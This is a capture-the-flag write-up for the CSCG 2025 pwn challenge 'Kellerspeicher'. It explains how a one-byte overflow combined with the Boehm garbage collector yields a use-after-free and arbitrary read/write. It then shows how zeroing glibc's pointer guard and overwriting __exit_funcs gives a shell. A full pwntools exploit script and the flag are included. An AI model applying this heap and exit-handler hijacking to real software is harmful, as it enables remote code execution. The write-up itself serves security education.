CSCG 2025 - Kellerspeicher

Challenge Information

Description:

> I build some Kellerspeicher for you. To prevent memory leaks I use a garbage collector. Definitely not because I'm lazy.

- Category: `Pwn`
- Difficulty: `Hard`
- Author: `DIFF-FUSION`

Challenge Setup

All of the identifiers and strings in the challenge code are written in German. I am going to refer to those operation with their English translation most of the time.

The challenge implements a service to manage two stacks, a main (`"haupt"`) and a side (`"neben"`) stack, in C. They can be created, deleted, pushed and popped from and elements can be exchanged between the two. So far, so normal. There is also the option to just once increase the amount of free elements in the main stack without increasing the allocated memory. Thus, a one byte overflow is possible.

A stack is represented by the following struct:

```
struct Stack {
    uint8_t *elements;
    size_t used;
    size_t free;
};
```

Both the stack struct and the elements array in the stack, are allocated on the heap. As was already hinted at in the challenge description, libgc is used as memory allocator.

The challenge uses glibc 2.39 and is provided with the challenge.

libgc - The Boehm-Demers-Weiser conservative C/C++ Garbage Collector

libgc implements automatic Garbage Collection for C and C++ programs. This means there is no longer the need for an explicit call to `free` . The implementation scans the programs memory periodically to find all reachable chunks, i.e. there exists a pointer to it. Those are called `roots` . The GC searches in the binaries data segments (`.data` , `.bss`), the program stack, registers and some other regions. From there, found chunks are marked as accessible and scanned recursively for further pointers. In the end, all unmarked chunks are deallocated. This is also known as mark-and-sweep algorithm and used by many garbage collectors.

Allocation in `libgc` happens page-wise. Allocations smaller than a certain threshold (`512` bytes, on Linux x64) are allocated from a page which has been split into multiple chunks for the same size and therefore only serves this size, until all chunks are being deallocated and the page can be freed. For allocations larger than the threshold, the size is rounded up to a multiple of the page size. Allocation sizes always are incremented by 1 to enforce that the pointer to the chunk, for example an allocated array, is always pointing into the chunks memory and thus is recognized by the collector as in-use and not accidentally deallocated. For example, `malloc(0x40) + 0x40` points to the region after the allocation, which often occurs when an array pointer is incremented and the array is fully filled. (*hint* *hint*)

There is also an optimization for allocations in multithreaded from a thread-local cache, similar to `ptmalloc` 's tcaches, which is not relevant to the solution of challenge, but may affect the allocation pattern, depending on the chosen chunk sizes.

Exploit - Overview

By allocating a main stack of size `0x1000` , doing the overflow operation and filling the main stack fully up, the elements pointer will point to the end of the allocated array, as described before.
This means that when the garbage collector finds the pointer, it counts the pointer as pointing to the next chunk after the array because that is where the pointer points. Therefore, we allocate new side stacks until the garbage collector is triggered, which gives us a use-after-free. The exact number of allocations can be determined experimentally. I found the value to be `1834` for the allocation sizes that I chose.

To achieve arbitrary read and write, we need to manage to allocate the side chunk stack into that the memory region where the main stack `elements` pointer points to. From there, we can leak the side stack `elements` pointer by popping bytes from and overwrite it by pushing bytes to the main stack. To write to the chosen memory location, we can push to the side stack.

To achieve RCE, we first overwrite the pointer guard in the thread-local storage (TLS) with zero, which is at a constant offset from the mmapped GC heap region. Then we overwrite the first exit function with with `fn=system` and `arg="/bin/sh"` . Because we know the pointer guard, we can mangle the function pointer and successfully get a shell by quitting the program.

If you know, how gaining RCE via exit functions work you can skip the following paragraph.

RCE via __exit_funcs - details

Before the program exits, oftentimes some code has to run in order to perform some cleanup. Those can be registered by using the `atexit` function in `C`. Those are stored in `struct exit_function_list` inside the glibc. The relevant definitions from `exit.h` can be found below.

```
enum
{
  ef_free,	/* `ef_free' MUST be zero!  */
  ef_us,
  ef_on,
  ef_at,
  ef_cxa
};

struct exit_function
  {
    /* `flavour' should be of type of the `enum' above but since we need
       this element in an atomic operation we have to use `long int'.  */
    long int flavor;
    union
      {
	void (*at) (void);
	struct
	  {
	    void (*fn) (int status, void *arg);
	    void *arg;
	  } on;
	struct
	  {
	    void (*fn) (void *arg, int status);
	    void *arg;
	    void *dso_handle;
	  } cxa;
      } func;
  };
struct exit_function_list
  {
    struct exit_function_list *next;
    size_t idx;
    struct exit_function fns[32];
  };
```

The `exit_function_list`, is a linked list, where every node can store up to 32 `exit_function`s. Different types specify the number of parameters and their types which are passed to the handler function. For exploitation, the `ef_cxa` type is the most interesting, because it allows to specify an argument which is passed as the first parameter. With that we can easily execute `system("/bin/sh")`.

The `__exit_funcs` variable in the glibc stores the pointer to the head of the list. As the symbol is not exported by the glibc, it can be difficult to find its address. In case you have the debug symbols, you are in luck. If not, you can try to use libc.rip or by diffing the source code and the assembly of `atexit` (the symbol is mangled to `__cxa_atexit`) and extracting the address from there. For this challenge, I took the latter approach. `atexit` is used to register new exit functions and thus needs to reference `__exit_funcs`.

The source code of `__cxa_atexit` can be found here, for example. Below I put the important snippet.

```
int
attribute_hidden
__internal_atexit (void (*func) (void *), void *arg, void *d,
                   struct exit_function_list **listp)
{
  struct exit_function *new;

  /* As a QoI issue we detect NULL early with an assertion instead
     of a SIGSEGV at program exit when the handler is run (bug 20544).  */
  assert (func != NULL);

  __libc_lock_lock (__exit_funcs_lock);
  new = __new_exitfn (listp);

  if (new == NULL)
    {
      __libc_lock_unlock (__exit_funcs_lock);
      return -1;
    }

  PTR_MANGLE (func);
  new->func.cxa.fn = (void (*) (void *, int)) func;
  new->func.cxa.arg = arg;
  new->func.cxa.dso_handle = d;
  new->flavor = ef_cxa;
  __libc_lock_unlock (__exit_funcs_lock);
  return 0;
}


/* Register a function to be called by exit or when a shared library
   is unloaded.  This function is only called from code generated by
   the C++ compiler.  */
int
__cxa_atexit (void (*func) (void *), void *arg, void *d)
{
  return __internal_atexit (func, arg, d, &__exit_funcs);
}
libc_hidden_def (__cxa_atexit)
```

By using a disassembler, we find the following instructions:

```
00000000000471e0 <__cxa_atexit@@GLIBC_2.2.5>:
   471e0:       f3 0f 1e fa             endbr64
   471e4:       55                      push   rbp
   471e5:       48 89 e5                mov    rbp,rsp
   471e8:       41 56                   push   r14
   471ea:       41 55                   push   r13
   471ec:       41 54                   push   r12
   471ee:       53                      push   rbx
   471ef:       48 85 ff                test   rdi,rdi
   471f2:       0f 84 8e 00 00 00       je     47286 <__cxa_atexit@@GLIBC_2.2.5+0xa6>
   471f8:       48 8d 1d a9 dd 1b 00    lea    rbx,[rip+0x1bdda9]        # 204fa8 <__abort_msg@@GLIBC_PRIVATE+0x468>
   471ff:       49 89 d4                mov    r12,rdx
   47202:       49 89 fe                mov    r14,rdi
   47205:       49 89 f5                mov    r13,rsi
   47208:       31 c0                   xor    eax,eax
   4720a:       ba 01 00 00 00          mov    edx,0x1
   4720f:       f0 0f b1 13             lock cmpxchg DWORD PTR [rbx],edx
   47213:       75 5b                   jne    47270 <__cxa_atexit@@GLIBC_2.2.5+0x90>
   47215:       48 8d 3d 64 c4 1b 00    lea    rdi,[rip+0x1bc464]        # 203680 <__ctype_b@GLIBC_2.2.5+0x18>
   4721c:       e8 cf fd ff ff          call   46ff0 <__cxa_at_quick_exit@@GLIBC_2.10+0x20>
   47221:       48 85 c0                test   rax,rax
   47224:       74 54                   je     4727a <__cxa_atexit@@GLIBC_2.2.5+0x9a>
   47226:       4c 89 68 10             mov    QWORD PTR [rax+0x10],r13
   4722a:       4c 89 f2                mov    rdx,r14
   4722d:       4c 89 60 18             mov    QWORD PTR [rax+0x18],r12
   47231:       48 c7 00 04 00 00 00    mov    QWORD PTR [rax],0x4
   47238:       64 48 33 14 25 30 00    xor    rdx,QWORD PTR fs:0x30
   4723f:       00 00
   47241:       48 c1 c2 11             rol    rdx,0x11
   /* ... */
```

As we can see in the source code, the `__cxa_atexit` uses `__exit_funcs` and pass it to `__internal_atexit`. But this call does not show up in the assembly

because the compiler inlined the function. The `__internal_atexit` first locks the global exit function lock, then finds a slot for the new exit function (which uses `__exit_funcs`) and then doing a null check on the result. This pattern also can be seen in the assembly: First there is the `lock cmpxchg` for the lock operation, then the call at offset `0x4721c` and the null check directly afterward. Thus, the instruction at `0x47215` gets the address of the argument to `__new_exitfn`, which is `__exit_funcs`. Thus, we found what we were looking for.

One further obstacle we need to overcome, is the mangling/encryption of the function pointer with the pointer guard. The formula is:

$$ct = rol(fn \oplus pointer\_guard, 17)$$

where `ct` is the stored ciphertext, `rol` the rotate left function and $\oplus$ the xor operator.

With all of that understood, we can overwrite one of the exit functions with, because we set the pointer guard to zero.

```
struct exit_function rce = {
        .flavor = ef_cxa,
        .func.cxa =  {
            .fn = (void (*)(void *, int))(rol((long)system, 17)),
            .arg = "/bin/sh"
        }
    };
```

or using pwntools in python:

```
payload = flat(
    p64(4), # ef_cxa
    p64(rol(system_addr, 17)),
    p64(bin_sh_addr)
)
```

Flag

`CSCG{einkellern_auskellern_umkellern_unterkellern__kellerspeicher_machen_spass}`

Mitigations

The simple mitigation is to remove the `unterkellern` functionality. As this functionality is likely there to simplify the challenge and simulates an actual bug, we also need to consider, how to avoid the underlying bug.

One solution would be to always perform a bounds check after modifying a GC allocated pointer. But this is likely going to be slow, requires extra effort by the developer and makes the code harder to read, which in turn allows other bugs to slip through code review. So, not a good option.

As always with code, the best practices regarding

- Clean code,
- Code reviews and
- Fuzzing

can prevent most of those bugs.

An even better option, is to use memory safe languages like Rust.

TL;DR: As always with C: Memory safety management is the key.

Exploit - Script

```python
from pwn import *

# local
# p = remote("localhost", 1024)

# remote
p = remote("<session-id>-1024-kellerspeicher.challenge.cscg.live", 1337, ssl=True)

### wrappers ###
def create_haupt(size: int):
    p.sendlineafter(b"Wahl: ", b"1")
    p.sendlineafter("Größe des Kellers:".encode(), str(size).encode())

def create_neben(size: int):
    p.sendlineafter(b"Wahl: ", b"2")
    p.sendlineafter("Größe des Kellers:".encode(), str(size).encode())

def create_neben_str(size: int) -> bytes:
    return b"2\n" + str(size - 1).encode() + b"\n"

def del_haupt():
    p.sendlineafter(b"Wahl: ", b"3")

def del_neben():
    p.sendlineafter(b"Wahl: ", b"4")

def del_neben_str() -> str:
    return b"4\n"

def push_haupt(elem: int):
    assert(elem >= 0 and elem < 256)
    p.sendlineafter(b"Wahl: ", b"5")
    p.sendlineafter(b"Geben sie das element in hexadezimal notation an: ", f"{elem:02x}".encode())

def push_haupt_str(elem: int) -> bytes:
    assert(elem >= 0 and elem < 256)
    return b"5\n" + f"{elem:02x}\n".encode()

def push_neben(elem: int):
    assert(elem >= 0 and elem < 256)
    p.sendlineafter(b"Wahl: ", b"6")
    p.sendlineafter(b"Geben sie das element in hexadezimal notation an: ", f"{elem:02x}".encode())

def pop_haupt() -> int:
    p.sendlineafter(b"Wahl: ", b"7")
    p.recvuntil(b"Element: ")
    return int(p.recvuntil(b"\n"), 16)

def pop_neben() -> int:
    p.sendlineafter(b"Wahl: ", b"8")
    p.recvuntil(b"Element: ")
    return int(p.recvuntil(b"\n"), 16)

def transfer_haupt_neben():
    p.sendlineafter(b"Wahl:", b"9")

def transfer_neben_haupt():
    p.sendlineafter(b"Wahl:", b"10")

def unterkellern():
    p.sendlineafter(b"Wahl:", b"11")

def do_exit():
    p.sendlineafter(b"Wahl:", b"12")

### Wrappers for batch processing to speed up exploit ###
def push_haupt_batch(elem_list):
    buffer = b""
    for elem in elem_list:
        buffer += push_haupt_str(elem)
    p.send(buffer)

def gc_thrashing(num_objects: int, obj_size: int):
    buffer = b""
    for _ in range(num_objects):
```

```
        buffer += create_neben_str(obj_size) + del_neben_str()
    p.send(buffer)

# whole page, no alignment issues
haupt_size = 0x1000

# sizeof(Keller)
neben_size = 0x20

# create main stack and overflow the elements pointer
create_haupt(haupt_size - 1)
unterkellern()
push_haupt_batch([0] * haupt_size)

# 1834 was determined empirically
gc_thrashing(1834, neben_size - 1)

# put chunk into hauptkeller->elements
create_neben(neben_size - 1)

for _ in range(0x40 - 8):
    pop_haupt()

# leak GC heap base address
gc_heap_base = sum([(pop_haupt() << (i * 8)) for i in range(7, -1, -1)]) - 0x11fc0
libc_base = gc_heap_base + 0x53000
print(f"gc_heap_base = {gc_heap_base:#x}")
print(f"libc_base = {libc_base:#x}")

def overwrite_neben_elem_ptr(new_addr: int):
    for b in new_addr.to_bytes(8, "little"):
        push_haupt(b)

# overwrite neben->elements with address of pointer guard
pointer_guard_addr = gc_heap_base + 0x50740 + 0x30
print(f"pointer_guard_addr = {pointer_guard_addr:#x}")
overwrite_neben_elem_ptr(pointer_guard_addr)

# zero out pointer guard
for _ in range(8):
    push_neben(0)

# overwrite neben->elements with address of &__exit_funcs[0]->fns[0]
exit_funcs_addr = libc_base + 0x204fd0
for _ in range(8):
    pop_haupt()
overwrite_neben_elem_ptr(exit_funcs_addr)

# overwrite benutzt und frei
for b in flat(
    p64(0),
    p64(0x100),
):
    push_haupt(b)

def rotate_left(num, rotate_by, bit_size=32):
    """ following function is presented by out lord and saviour ChatGPT """
    rotate_by %= bit_size  # Ensure rotation value is within the bit size
    return ((num << rotate_by) | (num >> (bit_size - rotate_by))) & ((1 << bit_size) - 1)

def mangle_ptr(ptr, ptr_guard):
    return rotate_left(ptr ^ ptr_guard, 17, 64)

# overwrite exit function with system("/bin/sh")
system = libc_base + 0x58740
bin_sh = libc_base + 0x1cb42f
exit_fn_payload = flat(
    p64(4),
    p64(mangle_ptr(system, 0)),
    p64(bin_sh),
)
for b in exit_fn_payload:
    push_neben(b)

# trigger RCE
do_exit()
```

```
p.sendline(b"cat flag")

p.interactive()
```